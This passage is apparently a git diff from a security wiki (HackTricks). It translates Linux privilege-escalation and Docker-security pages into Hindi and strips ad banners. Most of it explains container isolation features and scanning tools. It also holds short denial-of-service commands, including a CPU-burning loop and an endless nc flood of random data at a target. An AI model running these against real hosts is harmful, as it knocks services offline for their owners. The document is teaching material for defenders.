और सिस्टम स्थिति स्नैपशॉट जैसी उन्नत सुविधाएँ प्रदान करता है। यह वितरण पैकेजों के लिए फ़ाइलों को `/usr/lib/systemd/` में और प्रशासक संशोधनों के लिए `/etc/systemd/system/` में व्यवस्थित करता है, जिससे सिस्टम प्रशासन प्रक्रिया को सरल बनाया जा सके। -On the other hand, `/etc/init` is associated with **Upstart**, a newer **service management** introduced by Ubuntu, using configuration files for service management tasks. Despite the transition to Upstart, SysVinit scripts are still utilized alongside Upstart configurations due to a compatibility layer in Upstart. +## अन्य तरकीबें -**systemd** emerges as a modern initialization and service manager, offering advanced features such as on-demand daemon starting, automount management, and system state snapshots. It organizes files into `/usr/lib/systemd/` for distribution packages and `/etc/systemd/system/` for administrator modifications, streamlining the system administration process. - -## Other Tricks - -### NFS Privilege escalation +### NFS विशेषाधिकार वृद्धि {{#ref}} nfs-no_root_squash-misconfiguration-pe.md {{#endref}} -### Escaping from restricted Shells +### प्रतिबंधित शेल से बचना {{#ref}} escaping-from-limited-bash.md @@ -1610,31 +1378,31 @@ escaping-from-limited-bash.md cisco-vmanage.md {{#endref}} -## Kernel Security Protections +## कर्नेल सुरक्षा संरक्षण - [https://github.com/a13xp0p0v/kconfig-hardened-check](https://github.com/a13xp0p0v/kconfig-hardened-check) - [https://github.com/a13xp0p0v/linux-kernel-defence-map](https://github.com/a13xp0p0v/linux-kernel-defence-map) -## More help +## अधिक सहायता [Static impacket binaries](https://github.com/ropnop/impacket_static_binaries) ## Linux/Unix Privesc Tools -### **Best tool to look for Linux local privilege escalation vectors:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) +### **Linux स्थानीय विशेषाधिकार वृद्धि वेक्टर की खोज के लिए सबसे अच्छा उपकरण:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) -**LinEnum**: [https://github.com/rebootuser/LinEnum](https://github.com/rebootuser/LinEnum)(-t option)\ +**LinEnum**: [https://github.com/rebootuser/LinEnum](https://github.com/rebootuser/LinEnum)(-t विकल्प)\ **Enumy**: [https://github.com/luke-goddard/enumy](https://github.com/luke-goddard/enumy)\ **Unix Privesc Check:** [http://pentestmonkey.net/tools/audit/unix-privesc-check](http://pentestmonkey.net/tools/audit/unix-privesc-check)\ **Linux Priv Checker:** [www.securitysift.com/download/linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py)\ **BeeRoot:** [https://github.com/AlessandroZ/BeRoot/tree/master/Linux](https://github.com/AlessandroZ/BeRoot/tree/master/Linux)\ -**Kernelpop:** Enumerate kernel vulns ins linux and MAC [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\ +**Kernelpop:** Linux और MAC में कर्नेल कमजोरियों की गणना करें [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\ **Mestaploit:** _**multi/recon/local_exploit_suggester**_\ **Linux Exploit Suggester:** [https://github.com/mzet-/linux-exploit-suggester](https://github.com/mzet-/linux-exploit-suggester)\ -**EvilAbigail (physical access):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\ -**Recopilation of more scripts**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc) +**EvilAbigail (भौतिक पहुंच):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\ +**अधिक स्क्रिप्टों का संकलन**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc) -## References +## संदर्भ - [https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/)\\ - [https://payatu.com/guide-linux-privilege-escalation/](https://payatu.com/guide-linux-privilege-escalation/)\\ diff --git a/src/linux-hardening/privilege-escalation/docker-security/README.md b/src/linux-hardening/privilege-escalation/docker-security/README.md index d48f733d4..c8c6da131 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/README.md +++ b/src/linux-hardening/privilege-escalation/docker-security/README.md @@ -1,57 +1,46 @@ -# Docker Security +# Docker सुरक्षा {{#include ../../../banners/hacktricks-training.md}} -
+## **बुनियादी Docker इंजन सुरक्षा** -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=docker-security) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +**Docker इंजन** लिनक्स कर्नेल के **Namespaces** और **Cgroups** का उपयोग करके कंटेनरों को अलग करता है, जो सुरक्षा की एक बुनियादी परत प्रदान करता है। **Capabilities dropping**, **Seccomp**, और **SELinux/AppArmor** के माध्यम से अतिरिक्त सुरक्षा प्रदान की जाती है, जो कंटेनर अलगाव को बढ़ाती है। एक **auth plugin** उपयोगकर्ता क्रियाओं को और अधिक सीमित कर सकता है। -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-security" %} +![Docker सुरक्षा](https://sreeninet.files.wordpress.com/2016/03/dockersec1.png) -## **Basic Docker Engine Security** +### Docker इंजन तक सुरक्षित पहुंच -The **Docker engine** employs the Linux kernel's **Namespaces** and **Cgroups** to isolate containers, offering a basic layer of security. Additional protection is provided through **Capabilities dropping**, **Seccomp**, and **SELinux/AppArmor**, enhancing container isolation. An **auth plugin** can further restrict user actions. - -![Docker Security](https://sreeninet.files.wordpress.com/2016/03/dockersec1.png) - -### Secure Access to Docker Engine - -The Docker engine can be accessed either locally via a Unix socket or remotely using HTTP. For remote access, it's essential to employ HTTPS and **TLS** to ensure confidentiality, integrity, and authentication. - -The Docker engine, by default, listens on the Unix socket at `unix:///var/run/docker.sock`. On Ubuntu systems, Docker's startup options are defined in `/etc/default/docker`. To enable remote access to the Docker API and client, expose the Docker daemon over an HTTP socket by adding the following settings: +Docker इंजन को या तो स्थानीय रूप से एक Unix सॉकेट के माध्यम से या HTTP का उपयोग करके दूरस्थ रूप से एक्सेस किया जा सकता है। दूरस्थ पहुंच के लिए, गोपनीयता, अखंडता, और प्रमाणीकरण सुनिश्चित करने के लिए HTTPS और **TLS** का उपयोग करना आवश्यक है। +Docker इंजन, डिफ़ॉल्ट रूप से, `unix:///var/run/docker.sock` पर Unix सॉकेट पर सुनता है। उबंटू सिस्टम पर, Docker के स्टार्टअप विकल्प `/etc/default/docker` में परिभाषित होते हैं। Docker API और क्लाइंट के लिए दूरस्थ पहुंच सक्षम करने के लिए, HTTP सॉकेट के माध्यम से Docker डेमन को उजागर करने के लिए निम्नलिखित सेटिंग्स जोड़ें: ```bash DOCKER_OPTS="-D -H unix:///var/run/docker.sock -H tcp://192.168.56.101:2376" sudo service docker restart ``` +हालांकि, HTTP के माध्यम से Docker डेमन को उजागर करना सुरक्षा चिंताओं के कारण अनुशंसित नहीं है। कनेक्शनों को HTTPS का उपयोग करके सुरक्षित करना उचित है। कनेक्शन को सुरक्षित करने के लिए दो मुख्य दृष्टिकोण हैं: -However, exposing the Docker daemon over HTTP is not recommended due to security concerns. It's advisable to secure connections using HTTPS. There are two main approaches to securing the connection: +1. क्लाइंट सर्वर की पहचान की पुष्टि करता है। +2. क्लाइंट और सर्वर एक-दूसरे की पहचान की आपसी पुष्टि करते हैं। -1. The client verifies the server's identity. -2. Both the client and server mutually authenticate each other's identity. +सर्टिफिकेट का उपयोग सर्वर की पहचान की पुष्टि करने के लिए किया जाता है। दोनों विधियों के विस्तृत उदाहरणों के लिए, [**इस गाइड**](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-3engine-access/) को देखें। -Certificates are utilized to confirm a server's identity. For detailed examples of both methods, refer to [**this guide**](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-3engine-access/). +### कंटेनर छवियों की सुरक्षा -### Security of Container Images +कंटेनर छवियों को निजी या सार्वजनिक रिपॉजिटरी में संग्रहीत किया जा सकता है। Docker कंटेनर छवियों के लिए कई संग्रहण विकल्प प्रदान करता है: -Container images can be stored in either private or public repositories. Docker offers several storage options for container images: +- [**Docker Hub**](https://hub.docker.com): Docker से एक सार्वजनिक रजिस्ट्री सेवा। +- [**Docker Registry**](https://github.com/docker/distribution): एक ओपन-सोर्स प्रोजेक्ट जो उपयोगकर्ताओं को अपनी खुद की रजिस्ट्री होस्ट करने की अनुमति देता है। +- [**Docker Trusted Registry**](https://www.docker.com/docker-trusted-registry): Docker की व्यावसायिक रजिस्ट्री पेशकश, जिसमें भूमिका-आधारित उपयोगकर्ता प्रमाणीकरण और LDAP निर्देशिका सेवाओं के साथ एकीकरण शामिल है। -- [**Docker Hub**](https://hub.docker.com): A public registry service from Docker. -- [**Docker Registry**](https://github.com/docker/distribution): An open-source project allowing users to host their own registry. -- [**Docker Trusted Registry**](https://www.docker.com/docker-trusted-registry): Docker's commercial registry offering, featuring role-based user authentication and integration with LDAP directory services. +### छवि स्कैनिंग -### Image Scanning +कंटेनरों में **सुरक्षा कमजोरियाँ** हो सकती हैं या तो आधार छवि के कारण या आधार छवि के शीर्ष पर स्थापित सॉफ़्टवेयर के कारण। Docker एक प्रोजेक्ट पर काम कर रहा है जिसे **Nautilus** कहा जाता है, जो कंटेनरों का सुरक्षा स्कैन करता है और कमजोरियों की सूची बनाता है। Nautilus प्रत्येक कंटेनर छवि परत की तुलना कमजोरियों के रिपॉजिटरी से करता है ताकि सुरक्षा छिद्रों की पहचान की जा सके। -Containers can have **security vulnerabilities** either because of the base image or because of the software installed on top of the base image. Docker is working on a project called **Nautilus** that does security scan of Containers and lists the vulnerabilities. Nautilus works by comparing the each Container image layer with vulnerability repository to identify security holes. - -For more [**information read this**](https://docs.docker.com/engine/scan/). +अधिक [**जानकारी के लिए इसे पढ़ें**](https://docs.docker.com/engine/scan/)। - **`docker scan`** -The **`docker scan`** command allows you to scan existing Docker images using the image name or ID. For example, run the following command to scan the hello-world image: - +**`docker scan`** कमांड आपको छवि नाम या ID का उपयोग करके मौजूदा Docker छवियों को स्कैन करने की अनुमति देती है। उदाहरण के लिए, hello-world छवि को स्कैन करने के लिए निम्नलिखित कमांड चलाएँ: ```bash docker scan hello-world @@ -67,103 +56,82 @@ Licenses: enabled Note that we do not currently have vulnerability data for your image. ``` - - [**`trivy`**](https://github.com/aquasecurity/trivy) - ```bash trivy -q -f json : ``` - - [**`snyk`**](https://docs.snyk.io/snyk-cli/getting-started-with-the-cli) - ```bash snyk container test --json-file-output= --severity-threshold=high ``` - - [**`clair-scanner`**](https://github.com/arminc/clair-scanner) - ```bash clair-scanner -w example-alpine.yaml --ip YOUR_LOCAL_IP alpine:3.5 ``` - ### Docker Image Signing -Docker image signing ensures the security and integrity of images used in containers. Here's a condensed explanation: +Docker इमेज साइनिंग कंटेनरों में उपयोग की जाने वाली इमेज की सुरक्षा और अखंडता सुनिश्चित करता है। यहाँ एक संक्षिप्त व्याख्या है: -- **Docker Content Trust** utilizes the Notary project, based on The Update Framework (TUF), to manage image signing. For more info, see [Notary](https://github.com/docker/notary) and [TUF](https://theupdateframework.github.io). -- To activate Docker content trust, set `export DOCKER_CONTENT_TRUST=1`. This feature is off by default in Docker version 1.10 and later. -- With this feature enabled, only signed images can be downloaded. Initial image push requires setting passphrases for the root and tagging keys, with Docker also supporting Yubikey for enhanced security. More details can be found [here](https://blog.docker.com/2015/11/docker-content-trust-yubikey/). -- Attempting to pull an unsigned image with content trust enabled results in a "No trust data for latest" error. -- For image pushes after the first, Docker asks for the repository key's passphrase to sign the image. - -To back up your private keys, use the command: +- **Docker Content Trust** Notary प्रोजेक्ट का उपयोग करता है, जो The Update Framework (TUF) पर आधारित है, इमेज साइनिंग प्रबंधित करने के लिए। अधिक जानकारी के लिए, देखें [Notary](https://github.com/docker/notary) और [TUF](https://theupdateframework.github.io)। +- Docker कंटेंट ट्रस्ट को सक्रिय करने के लिए, सेट करें `export DOCKER_CONTENT_TRUST=1`। यह सुविधा Docker संस्करण 1.10 और बाद में डिफ़ॉल्ट रूप से बंद है। +- इस सुविधा को सक्षम करने के साथ, केवल साइन की गई इमेज डाउनलोड की जा सकती हैं। प्रारंभिक इमेज पुश के लिए रूट और टैगिंग कुंजियों के लिए पासफ़्रेज़ सेट करना आवश्यक है, Docker Yubikey के लिए भी समर्थन करता है ताकि सुरक्षा बढ़ सके। अधिक विवरण [यहाँ](https://blog.docker.com/2015/11/docker-content-trust-yubikey/) मिल सकते हैं। +- कंटेंट ट्रस्ट सक्षम होने पर एक असाइन की गई इमेज को खींचने का प्रयास करने पर "No trust data for latest" त्रुटि होती है। +- पहले के बाद इमेज पुश के लिए, Docker इमेज को साइन करने के लिए रिपॉजिटरी कुंजी के पासफ़्रेज़ के लिए पूछता है। +अपने निजी कुंजियों का बैकअप लेने के लिए, कमांड का उपयोग करें: ```bash tar -zcvf private_keys_backup.tar.gz ~/.docker/trust/private ``` +जब डॉकर होस्ट को स्विच करते हैं, तो संचालन बनाए रखने के लिए रूट और रिपॉजिटरी कुंजियों को स्थानांतरित करना आवश्यक है। -When switching Docker hosts, it's necessary to move the root and repository keys to maintain operations. - ---- - -
- -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=docker-security) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-security" %} - -## Containers Security Features +## कंटेनरों की सुरक्षा विशेषताएँ
-Summary of Container Security Features +कंटेनर सुरक्षा विशेषताओं का सारांश -**Main Process Isolation Features** +**मुख्य प्रक्रिया पृथक्करण विशेषताएँ** -In containerized environments, isolating projects and their processes is paramount for security and resource management. Here's a simplified explanation of key concepts: +कंटेनराइज्ड वातावरण में, परियोजनाओं और उनके प्रक्रियाओं को अलग करना सुरक्षा और संसाधन प्रबंधन के लिए अत्यंत महत्वपूर्ण है। यहाँ प्रमुख अवधारणाओं का एक सरल स्पष्टीकरण है: -**Namespaces** +**नेमस्पेस** -- **Purpose**: Ensure isolation of resources like processes, network, and filesystems. Particularly in Docker, namespaces keep a container's processes separate from the host and other containers. -- **Usage of `unshare`**: The `unshare` command (or the underlying syscall) is utilized to create new namespaces, providing an added layer of isolation. However, while Kubernetes doesn't inherently block this, Docker does. -- **Limitation**: Creating new namespaces doesn't allow a process to revert to the host's default namespaces. To penetrate the host namespaces, one would typically require access to the host's `/proc` directory, using `nsenter` for entry. +- **उद्देश्य**: प्रक्रियाओं, नेटवर्क और फ़ाइल सिस्टम जैसे संसाधनों का पृथक्करण सुनिश्चित करना। विशेष रूप से डॉकर में, नेमस्पेस एक कंटेनर की प्रक्रियाओं को होस्ट और अन्य कंटेनरों से अलग रखते हैं। +- **`unshare` का उपयोग**: `unshare` कमांड (या अंतर्निहित syscall) का उपयोग नए नेमस्पेस बनाने के लिए किया जाता है, जो पृथक्करण की एक अतिरिक्त परत प्रदान करता है। हालाँकि, जबकि कुबेरनेट्स स्वाभाविक रूप से इसे अवरुद्ध नहीं करता है, डॉकर ऐसा करता है। +- **सीमा**: नए नेमस्पेस बनाने से एक प्रक्रिया को होस्ट के डिफ़ॉल्ट नेमस्पेस में वापस लौटने की अनुमति नहीं मिलती है। होस्ट नेमस्पेस में प्रवेश करने के लिए, आमतौर पर होस्ट के `/proc` निर्देशिका तक पहुँच की आवश्यकता होती है, प्रवेश के लिए `nsenter` का उपयोग करते हुए। -**Control Groups (CGroups)** +**कंट्रोल ग्रुप्स (CGroups)** -- **Function**: Primarily used for allocating resources among processes. -- **Security Aspect**: CGroups themselves don't offer isolation security, except for the `release_agent` feature, which, if misconfigured, could potentially be exploited for unauthorized access. +- **कार्य**: मुख्य रूप से प्रक्रियाओं के बीच संसाधनों को आवंटित करने के लिए उपयोग किया जाता है। +- **सुरक्षा पहलू**: CGroups स्वयं पृथक्करण सुरक्षा प्रदान नहीं करते हैं, सिवाय `release_agent` विशेषता के, जो यदि गलत कॉन्फ़िगर की गई हो, तो अनधिकृत पहुँच के लिए शोषित की जा सकती है। -**Capability Drop** +**क्षमता ड्रॉप** -- **Importance**: It's a crucial security feature for process isolation. -- **Functionality**: It restricts the actions a root process can perform by dropping certain capabilities. Even if a process runs with root privileges, lacking the necessary capabilities prevents it from executing privileged actions, as the syscalls will fail due to insufficient permissions. - -These are the **remaining capabilities** after the process drop the others: +- **महत्व**: यह प्रक्रिया पृथक्करण के लिए एक महत्वपूर्ण सुरक्षा विशेषता है। +- **कार्यात्मकता**: यह रूट प्रक्रिया द्वारा किए जाने वाले कार्यों को कुछ क्षमताओं को ड्रॉप करके प्रतिबंधित करता है। भले ही एक प्रक्रिया रूट विशेषाधिकारों के साथ चल रही हो, आवश्यक क्षमताओं की कमी इसे विशेषाधिकार प्राप्त कार्यों को निष्पादित करने से रोकती है, क्योंकि syscalls अपर्याप्त अनुमतियों के कारण विफल हो जाएंगे। +ये हैं **बची हुई क्षमताएँ** जब प्रक्रिया ने अन्य को ड्रॉप किया: ``` Current: cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep ``` - **Seccomp** -It's enabled by default in Docker. It helps to **limit even more the syscalls** that the process can call.\ -The **default Docker Seccomp profile** can be found in [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json) +यह डॉकर में डिफ़ॉल्ट रूप से सक्षम है। यह **प्रक्रिया द्वारा कॉल किए जा सकने वाले syscalls को और अधिक सीमित करने** में मदद करता है।\ +**डिफ़ॉल्ट डॉकर सेकॉम्प प्रोफ़ाइल** [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json) में पाई जा सकती है। **AppArmor** -Docker has a template that you can activate: [https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor) +डॉकर के पास एक टेम्पलेट है जिसे आप सक्रिय कर सकते हैं: [https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor) -This will allow to reduce capabilities, syscalls, access to files and folders... +यह क्षमताओं, syscalls, फ़ाइलों और फ़ोल्डरों तक पहुँच को कम करने की अनुमति देगा...
### Namespaces -**Namespaces** are a feature of the Linux kernel that **partitions kernel resources** such that one set of **processes** **sees** one set of **resources** while **another** set of **processes** sees a **different** set of resources. The feature works by having the same namespace for a set of resources and processes, but those namespaces refer to distinct resources. Resources may exist in multiple spaces. +**Namespaces** लिनक्स कर्नेल की एक विशेषता है जो **कर्नेल संसाधनों को विभाजित** करती है ताकि एक सेट के **प्रक्रियाएँ** एक सेट के **संसाधनों** को **देखें** जबकि **दूसरा** सेट के **प्रक्रियाएँ** एक **अलग** सेट के संसाधनों को देखती हैं। यह विशेषता संसाधनों और प्रक्रियाओं के एक सेट के लिए समान namespace होने के द्वारा काम करती है, लेकिन उन namespaces का संदर्भ अलग-अलग संसाधनों की ओर होता है। संसाधन कई स्थानों में मौजूद हो सकते हैं। -Docker makes use of the following Linux kernel Namespaces to achieve Container isolation: +डॉकर कंटेनर अलगाव प्राप्त करने के लिए निम्नलिखित लिनक्स कर्नेल namespaces का उपयोग करता है: - pid namespace - mount namespace @@ -171,7 +139,7 @@ Docker makes use of the following Linux kernel Namespaces to achieve Container i - ipc namespace - UTS namespace -For **more information about the namespaces** check the following page: +**Namespaces के बारे में अधिक जानकारी** के लिए निम्नलिखित पृष्ठ देखें: {{#ref}} namespaces/ @@ -179,62 +147,58 @@ namespaces/ ### cgroups -Linux kernel feature **cgroups** provides capability to **restrict resources like cpu, memory, io, network bandwidth among** a set of processes. Docker allows to create Containers using cgroup feature which allows for resource control for the specific Container.\ -Following is a Container created with user space memory limited to 500m, kernel memory limited to 50m, cpu share to 512, blkioweight to 400. CPU share is a ratio that controls Container’s CPU usage. It has a default value of 1024 and range between 0 and 1024. If three Containers have the same CPU share of 1024, each Container can take upto 33% of CPU in case of CPU resource contention. blkio-weight is a ratio that controls Container’s IO. It has a default value of 500 and range between 10 and 1000. - +लिनक्स कर्नेल की विशेषता **cgroups** एक सेट के प्रक्रियाओं के बीच **cpu, memory, io, network bandwidth जैसे संसाधनों को प्रतिबंधित करने** की क्षमता प्रदान करती है। डॉकर cgroup विशेषता का उपयोग करके कंटेनर बनाने की अनुमति देता है जो विशेष कंटेनर के लिए संसाधन नियंत्रण की अनुमति देता है।\ +निम्नलिखित एक कंटेनर है जिसे उपयोगकर्ता स्थान मेमोरी को 500m, कर्नेल मेमोरी को 50m, cpu शेयर को 512, blkioweight को 400 तक सीमित किया गया है। CPU शेयर एक अनुपात है जो कंटेनर के CPU उपयोग को नियंत्रित करता है। इसका डिफ़ॉल्ट मान 1024 है और यह 0 से 1024 के बीच होता है। यदि तीन कंटेनरों का CPU शेयर 1024 है, तो प्रत्येक कंटेनर CPU संसाधन विवाद की स्थिति में CPU का 33% तक ले सकता है। blkio-weight एक अनुपात है जो कंटेनर के IO को नियंत्रित करता है। इसका डिफ़ॉल्ट मान 500 है और यह 10 से 1000 के बीच होता है। ``` docker run -it -m 500M --kernel-memory 50M --cpu-shares 512 --blkio-weight 400 --name ubuntu1 ubuntu bash ``` - -To get the cgroup of a container you can do: - +किसी कंटेनर का cgroup प्राप्त करने के लिए आप कर सकते हैं: ```bash docker run -dt --rm denial sleep 1234 #Run a large sleep inside a Debian container ps -ef | grep 1234 #Get info about the sleep process ls -l /proc//ns #Get the Group and the namespaces (some may be uniq to the hosts and some may be shred with it) ``` - -For more information check: +अधिक जानकारी के लिए देखें: {{#ref}} cgroups.md {{#endref}} -### Capabilities +### क्षमताएँ -Capabilities allow **finer control for the capabilities that can be allowed** for root user. Docker uses the Linux kernel capability feature to **limit the operations that can be done inside a Container** irrespective of the type of user. +क्षमताएँ **रूट उपयोगकर्ता के लिए अनुमत क्षमताओं पर अधिक बारीक नियंत्रण** की अनुमति देती हैं। Docker Linux कर्नेल क्षमता सुविधा का उपयोग करता है ताकि **कंटेनर के अंदर किए जा सकने वाले संचालन को सीमित किया जा सके**, चाहे उपयोगकर्ता का प्रकार कोई भी हो। -When a docker container is run, the **process drops sensitive capabilities that the proccess could use to escape from the isolation**. This try to assure that the proccess won't be able to perform sensitive actions and escape: +जब एक डॉकर कंटेनर चलाया जाता है, तो **प्रक्रिया संवेदनशील क्षमताओं को छोड़ देती है जिनका उपयोग प्रक्रिया अलगाव से भागने के लिए कर सकती है**। यह सुनिश्चित करने का प्रयास करता है कि प्रक्रिया संवेदनशील क्रियाएँ करने और भागने में सक्षम न हो: {{#ref}} ../linux-capabilities.md {{#endref}} -### Seccomp in Docker +### Docker में Seccomp -This is a security feature that allows Docker to **limit the syscalls** that can be used inside the container: +यह एक सुरक्षा विशेषता है जो Docker को **कंटेनर के अंदर उपयोग किए जा सकने वाले syscalls को सीमित** करने की अनुमति देती है: {{#ref}} seccomp.md {{#endref}} -### AppArmor in Docker +### Docker में AppArmor -**AppArmor** is a kernel enhancement to confine **containers** to a **limited** set of **resources** with **per-program profiles**.: +**AppArmor** एक कर्नेल संवर्धन है जो **कंटेनरों** को **सीमित** संसाधनों के **प्रति-कार्यक्रम प्रोफाइल** के सेट में सीमित करता है।: {{#ref}} apparmor.md {{#endref}} -### SELinux in Docker +### Docker में SELinux -- **Labeling System**: SELinux assigns a unique label to every process and filesystem object. -- **Policy Enforcement**: It enforces security policies that define what actions a process label can perform on other labels within the system. -- **Container Process Labels**: When container engines initiate container processes, they are typically assigned a confined SELinux label, commonly `container_t`. -- **File Labeling within Containers**: Files within the container are usually labeled as `container_file_t`. -- **Policy Rules**: The SELinux policy primarily ensures that processes with the `container_t` label can only interact (read, write, execute) with files labeled as `container_file_t`. +- **लेबलिंग सिस्टम**: SELinux प्रत्येक प्रक्रिया और फ़ाइल प्रणाली वस्तु को एक अद्वितीय लेबल असाइन करता है। +- **नीति प्रवर्तन**: यह सुरक्षा नीतियों को लागू करता है जो परिभाषित करती हैं कि एक प्रक्रिया लेबल अन्य लेबल पर क्या क्रियाएँ कर सकती है। +- **कंटेनर प्रक्रिया लेबल**: जब कंटेनर इंजन कंटेनर प्रक्रियाएँ आरंभ करते हैं, तो उन्हें आमतौर पर एक सीमित SELinux लेबल, सामान्यतः `container_t` असाइन किया जाता है। +- **कंटेनरों के भीतर फ़ाइल लेबलिंग**: कंटेनर के भीतर फ़ाइलें आमतौर पर `container_file_t` के रूप में लेबल की जाती हैं। +- **नीति नियम**: SELinux नीति मुख्य रूप से यह सुनिश्चित करती है कि `container_t` लेबल वाली प्रक्रियाएँ केवल `container_file_t` के रूप में लेबल की गई फ़ाइलों के साथ इंटरैक्ट कर सकती हैं (पढ़ना, लिखना, निष्पादित करना)। -This mechanism ensures that even if a process within a container is compromised, it's confined to interacting only with objects that have the corresponding labels, significantly limiting the potential damage from such compromises. +यह तंत्र सुनिश्चित करता है कि यदि कंटेनर के भीतर कोई प्रक्रिया समझौता कर ली जाती है, तो यह केवल उन वस्तुओं के साथ इंटरैक्ट करने तक सीमित होती है जिनके पास संबंधित लेबल होते हैं, जिससे ऐसे समझौतों से संभावित नुकसान को काफी हद तक सीमित किया जा सकता है। {{#ref}} ../selinux.md @@ -242,23 +206,22 @@ This mechanism ensures that even if a process within a container is compromised, ### AuthZ & AuthN -In Docker, an authorization plugin plays a crucial role in security by deciding whether to allow or block requests to the Docker daemon. This decision is made by examining two key contexts: +Docker में, एक प्राधिकरण प्लगइन सुरक्षा में महत्वपूर्ण भूमिका निभाता है यह तय करते हुए कि Docker डेमन के लिए अनुरोधों को अनुमति दी जाए या अवरुद्ध किया जाए। यह निर्णय दो प्रमुख संदर्भों की जांच करके किया जाता है: -- **Authentication Context**: This includes comprehensive information about the user, such as who they are and how they've authenticated themselves. -- **Command Context**: This comprises all pertinent data related to the request being made. +- **प्रमाणीकरण संदर्भ**: इसमें उपयोगकर्ता के बारे में व्यापक जानकारी शामिल होती है, जैसे कि वे कौन हैं और उन्होंने स्वयं को कैसे प्रमाणित किया है। +- **कमांड संदर्भ**: इसमें किए जा रहे अनुरोध से संबंधित सभी प्रासंगिक डेटा शामिल होता है। -These contexts help ensure that only legitimate requests from authenticated users are processed, enhancing the security of Docker operations. +ये संदर्भ सुनिश्चित करने में मदद करते हैं कि केवल प्रमाणित उपयोगकर्ताओं से वैध अनुरोधों को संसाधित किया जाए, जिससे Docker संचालन की सुरक्षा बढ़ती है। {{#ref}} authz-and-authn-docker-access-authorization-plugin.md {{#endref}} -## DoS from a container +## कंटेनर से DoS -If you are not properly limiting the resources a container can use, a compromised container could DoS the host where it's running. +यदि आप एक कंटेनर द्वारा उपयोग किए जा सकने वाले संसाधनों को सही तरीके से सीमित नहीं कर रहे हैं, तो एक समझौता किया गया कंटेनर उस होस्ट को DoS कर सकता है जहाँ यह चल रहा है। - CPU DoS - ```bash # stress-ng sudo apt-get install -y stress-ng && stress-ng --vm 1 --vm-bytes 1G --verify -t 5m @@ -266,18 +229,15 @@ sudo apt-get install -y stress-ng && stress-ng --vm 1 --vm-bytes 1G --verify -t # While loop docker run -d --name malicious-container -c 512 busybox sh -c 'while true; do :; done' ``` - -- Bandwidth DoS - +- बैंडविड्थ DoS ```bash nc -lvp 4444 >/dev/null & while true; do cat /dev/urandom | nc 4444; done ``` +## दिलचस्प Docker फ्लैग -## Interesting Docker Flags +### --privileged फ्लैग -### --privileged flag - -In the following page you can learn **what does the `--privileged` flag imply**: +अगली पृष्ठ पर आप **`--privileged` फ्लैग का क्या अर्थ है** जान सकते हैं: {{#ref}} docker-privileged.md @@ -287,16 +247,13 @@ docker-privileged.md #### no-new-privileges -If you are running a container where an attacker manages to get access as a low privilege user. If you have a **miss-configured suid binary**, the attacker may abuse it and **escalate privileges inside** the container. Which, may allow him to escape from it. - -Running the container with the **`no-new-privileges`** option enabled will **prevent this kind of privilege escalation**. +यदि आप एक कंटेनर चला रहे हैं जहाँ एक हमलावर एक निम्न विशेषाधिकार उपयोगकर्ता के रूप में पहुँच प्राप्त करने में सफल होता है। यदि आपके पास एक **गलत कॉन्फ़िगर किया गया suid बाइनरी** है, तो हमलावर इसका दुरुपयोग कर सकता है और **कंटेनर के अंदर विशेषाधिकार बढ़ा सकता है**। जिससे, वह इससे बाहर निकलने में सक्षम हो सकता है। +**`no-new-privileges`** विकल्प सक्षम करके कंटेनर चलाने से **इस प्रकार की विशेषाधिकार वृद्धि को रोका जा सकेगा**। ``` docker run -it --security-opt=no-new-privileges:true nonewpriv ``` - -#### Other - +#### अन्य ```bash #You can manually add/drop capabilities with --cap-add @@ -311,101 +268,96 @@ docker run -it --security-opt=no-new-privileges:true nonewpriv # You can manually disable selinux in docker with --security-opt label:disable ``` +अधिक **`--security-opt`** विकल्पों के लिए देखें: [https://docs.docker.com/engine/reference/run/#security-configuration](https://docs.docker.com/engine/reference/run/#security-configuration) -For more **`--security-opt`** options check: [https://docs.docker.com/engine/reference/run/#security-configuration](https://docs.docker.com/engine/reference/run/#security-configuration) +## अन्य सुरक्षा विचार -## Other Security Considerations +### रहस्यों का प्रबंधन: सर्वोत्तम प्रथाएँ -### Managing Secrets: Best Practices +यह महत्वपूर्ण है कि रहस्यों को सीधे Docker छवियों में या पर्यावरण चर का उपयोग करके एम्बेड करने से बचें, क्योंकि ये तरीके आपकी संवेदनशील जानकारी को किसी भी व्यक्ति के लिए उजागर करते हैं जो `docker inspect` या `exec` जैसे कमांड के माध्यम से कंटेनर तक पहुँच रखता है। -It's crucial to avoid embedding secrets directly in Docker images or using environment variables, as these methods expose your sensitive information to anyone with access to the container through commands like `docker inspect` or `exec`. 